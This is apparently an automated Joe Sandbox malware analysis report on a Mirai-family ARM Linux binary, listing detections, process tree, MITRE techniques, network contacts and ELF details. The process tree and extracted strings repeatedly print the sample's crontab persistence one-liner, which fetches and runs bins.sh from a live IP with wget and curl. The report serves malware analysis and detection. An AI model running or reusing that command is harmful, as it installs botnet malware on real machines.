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Linux Analysis Report
armv4l.elf

Overview

General Information

Sample name:	armv4l.elf
Analysis ID:	1646358
MD5:	07a767893b5a40d37a82956f0c68f9f5
SHA1:	38e6dbf0fd93d59c81ca89f465b63cdf069639c3
SHA256:	3322b9935b9a4af99331cc75beed48f2cffbe98ae2bc6d23fffcc832ce9738e1
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	68
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "crontab" command typically for achieving persistence

Creates hidden files and/or directories

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sleeps for long times indicative of sandbox evasion

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1646358
Start date and time:	2025-03-23 23:07:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	armv4l.elf
Detection:	MAL
Classification:	mal68.troj.linELF@0/48@2/0

Warnings

VT rate limit hit for: http://155.138.230.16/bins/bins.sh;

Runtime Messages

Command:	/tmp/armv4l.elf
PID:	5525
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	we kinda rocking ngl
Standard Error:

Process Tree

system is lnxubuntu20

armv4l.elf (PID: 5525, Parent: 5445, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/armv4l.elf

armv4l.elf New Fork (PID: 5527, Parent: 5525)

armv4l.elf New Fork (PID: 5529, Parent: 5527)

armv4l.elf New Fork (PID: 5533, Parent: 5527)

armv4l.elf New Fork (PID: 5535, Parent: 5527)

armv4l.elf New Fork (PID: 5537, Parent: 5527)

sh (PID: 5537, Parent: 5527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

sh New Fork (PID: 5539, Parent: 5537)

sh New Fork (PID: 5541, Parent: 5539)

crontab (PID: 5541, Parent: 5539, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5542, Parent: 5539)

chmod (PID: 5542, Parent: 5539, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh

sh New Fork (PID: 5543, Parent: 5539)

sh (PID: 5543, Parent: 5539, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh

sh New Fork (PID: 5544, Parent: 5539)

curl (PID: 5544, Parent: 5539, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh

sh New Fork (PID: 5540, Parent: 5537)

crontab (PID: 5540, Parent: 5537, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
armv4l.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5529.1.00007f7bec017000.00007f7bec02b000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5525.1.00007f7bec017000.00007f7bec02b000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

Jump to behavior

Source: /bin/sh (PID: 5542)

Chmod executable: /usr/bin/chmod -> chmod +x bins.sh

Jump to behavior

Source: /tmp/armv4l.elf (PID: 5535)	Sleeps longer then 60s: 60.0s			Jump to behavior
Source: /tmp/armv4l.elf (PID: 5535)	Sleeps longer then 60s: 60.0s			Jump to behavior

Source: /tmp/armv4l.elf (PID: 5525)

Queries kernel information via 'uname':

Jump to behavior

Source: armv4l.elf, 5525.1.00007ffe4329b000.00007ffe432bc000.rw-.sdmp, armv4l.elf, 5529.1.00007ffe4329b000.00007ffe432bc000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/armv4l.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/armv4l.elf
Source: armv4l.elf, 5529.1.00007ffe4329b000.00007ffe432bc000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.0X1aDi
Source: armv4l.elf, 5525.1.000055f850d75000.000055f850ec9000.rw-.sdmp, armv4l.elf, 5529.1.000055f850d75000.000055f850ec9000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: armv4l.elf, 5529.1.00007ffe4329b000.00007ffe432bc000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.0X1aDi
Source: armv4l.elf, 5525.1.000055f850d75000.000055f850ec9000.rw-.sdmp, armv4l.elf, 5529.1.000055f850d75000.000055f850ec9000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: armv4l.elf, 5525.1.00007ffe4329b000.00007ffe432bc000.rw-.sdmp, armv4l.elf, 5529.1.00007ffe4329b000.00007ffe432bc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: armv4l.elf, type: SAMPLE
Source: Yara match	File source: 5529.1.00007f7bec017000.00007f7bec02b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5525.1.00007f7bec017000.00007f7bec02b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: armv4l.elf, type: SAMPLE
Source: Yara match	File source: 5529.1.00007f7bec017000.00007f7bec02b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5525.1.00007f7bec017000.00007f7bec02b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
armv4l.elf	34%	Virustotal		Browse
armv4l.elf	36%	ReversingLabs	Linux.Backdoor.Mirai
armv4l.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://155.138.230.16/bins/bins.sh;	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.znet.homes	155.138.230.16	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://155.138.230.16/bins/bins.sh;	armv4l.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
155.138.230.16	api.znet.homes	United States		20473	AS-CHOOPAUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
155.138.230.16	x86_64.elf	Get hash	malicious	Mirai	Browse
	armv6l.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	mipsel.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.znet.homes	x86_64.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	armv6l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	sh4.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	i686.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mips.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mipsel.elf	Get hash	malicious	Mirai	Browse	155.138.230.16

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	x86_64.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	armv6l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	sh4.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	i686.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mips.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mipsel.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	Setup.exe	Get hash	malicious	Unknown	Browse	45.32.1.23
	xpmg.exe	Get hash	malicious	Unknown	Browse	155.138.150.12
	courtyardhealthcare.com.exe	Get hash	malicious	Unknown	Browse	139.180.160.173
	compited.ps1	Get hash	malicious	Unknown	Browse	139.180.160.173

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Source: armv4l.elf	Virustotal: Detection: 33%			Perma Link
Source: armv4l.elf	ReversingLabs: Detection: 36%

Source: armv4l.elf	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv4l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdx
Source: armv4l.elf	String: /bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv4l.elf	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv4l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdx

Source: /bin/sh (PID: 5541)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5540)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1333/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1695/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/119/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/911/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/914/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/10/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/917/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/11/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/12/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/13/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/14/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/15/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/16/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/17/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/18/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/19/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1591/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/120/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/121/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/122/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/243/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/2/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/123/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/3/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/124/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1588/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/125/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/4/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/246/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/126/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/5/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/127/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/6/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1585/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/128/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/7/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/129/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/8/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/800/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/9/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/802/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/803/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/804/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/20/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/21/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/3407/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/22/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/23/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/24/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/25/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/26/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/27/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/28/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/29/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1484/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/490/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/250/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/130/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/251/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/131/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/132/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/133/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1479/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/378/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/258/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/259/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/931/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1595/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/812/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/933/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/30/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/3419/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/35/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/3310/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/260/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/261/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/262/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/142/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/263/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/264/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/265/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/145/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/266/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/267/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/268/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/3303/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/269/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1486/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/1806/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/3440/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/270/stat	Jump to behavior
Source: /tmp/armv4l.elf (PID: 5533)	File opened: /proc/271/stat	Jump to behavior

Process:	/tmp/armv4l.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	2.70870089846184
Encrypted:	false
SSDEEP:	3:FWOKBE+v2ETUdVvX:qBFYdVf
MD5:	C68F115028521D1F27D2B75AD23ECEE9
SHA1:	F17B6874007936B80B203633260C64CE626093F2
SHA-256:	50766FFEFBBFD3910C3E15CC8B8955C61EB758A40A65F31F0645D3EE52195546
SHA-512:	FDF037C39D572E1B47449B13E82B10FBC10D054D4AA44BA5444422F60397EBB22A1DE62965261FDA4AE0785C657CDD25915DFE2EE99BF529453E28B061E0E991
Malicious:	false
Reputation:	low
Preview:	5533 (/tmp/armv4l.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294901136 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.134408421992252
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	armv4l.elf
File size:	86'760 bytes
MD5:	07a767893b5a40d37a82956f0c68f9f5
SHA1:	38e6dbf0fd93d59c81ca89f465b63cdf069639c3
SHA256:	3322b9935b9a4af99331cc75beed48f2cffbe98ae2bc6d23fffcc832ce9738e1
SHA512:	7e48e5638d2a2e5e4f5a4b21553691ecdedc37a65e4bf9c268371474b57af731ccaf041cea7fff3db1fb48d794a0dd4b8a0a9d6a3a402b710418d5e4ad02470a
SSDEEP:	1536:p0NXI0QqKOUVSuGQJ9msaTTyWnnzOmrJXCvJHOZwlB3FDVkyPQzBD0Nzv7sX:uNY0QqKrVSIWJT7S0XCvdQm9FDVkgQzd
TLSH:	B6831956B9528A03C5D312B6FBEE418937167BB8D3EA3102CD21AF9133865DB1D7B213
File Content Preview:	.ELF...a..........(.........4....P......4. ...(.....................D;..D;...............@...@...@.......h..........Q.td..................................-...L."....H..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	86240
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x122f8	0x0	0x6	AX	16
.fini	PROGBITS	0x1a3a8	0x123a8	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1a3bc	0x123bc	0x1788	0x0	0x2	A	4
.eh_frame	PROGBITS	0x24000	0x14000	0x4	0x0	0x3	WA	4
.ctors	PROGBITS	0x24004	0x14004	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2400c	0x1400c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x24014	0x14014	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x24018	0x14018	0x2a4	0x0	0x3	WA	4
.bss	NOBITS	0x242bc	0x142bc	0x6638	0x0	0x3	WA	4
.comment	PROGBITS	0x0	0x142bc	0xdcc	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x15088	0x56	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x13b44	0x13b44	6.1460	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14000	0x24000	0x24000	0x2bc	0x68f4	3.8417	0x6	RW	0x8000	.eh_frame .ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 23:08:07.848648071 CET	48910	80	192.168.2.15	155.138.230.16
Mar 23, 2025 23:08:08.853285074 CET	48910	80	192.168.2.15	155.138.230.16
Mar 23, 2025 23:08:10.869237900 CET	48910	80	192.168.2.15	155.138.230.16
Mar 23, 2025 23:08:14.933109999 CET	48910	80	192.168.2.15	155.138.230.16
Mar 23, 2025 23:08:23.125165939 CET	48910	80	192.168.2.15	155.138.230.16
Mar 23, 2025 23:08:39.252326965 CET	48910	80	192.168.2.15	155.138.230.16
Mar 23, 2025 23:09:12.275250912 CET	48910	80	192.168.2.15	155.138.230.16

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 23:08:06.388411045 CET	48752	53	192.168.2.15	1.1.1.1
Mar 23, 2025 23:08:06.508167028 CET	53	48752	1.1.1.1	192.168.2.15
Mar 23, 2025 23:09:06.520133972 CET	60640	53	192.168.2.15	1.1.1.1
Mar 23, 2025 23:09:06.640310049 CET	53	60640	1.1.1.1	192.168.2.15

Start time (UTC):	22:07:59
Start date (UTC):	23/03/2025
Path:	/tmp/armv4l.elf
Arguments:	/tmp/armv4l.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:08:05
Start date (UTC):	23/03/2025
Path:	/tmp/armv4l.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:08:06
Start date (UTC):	23/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

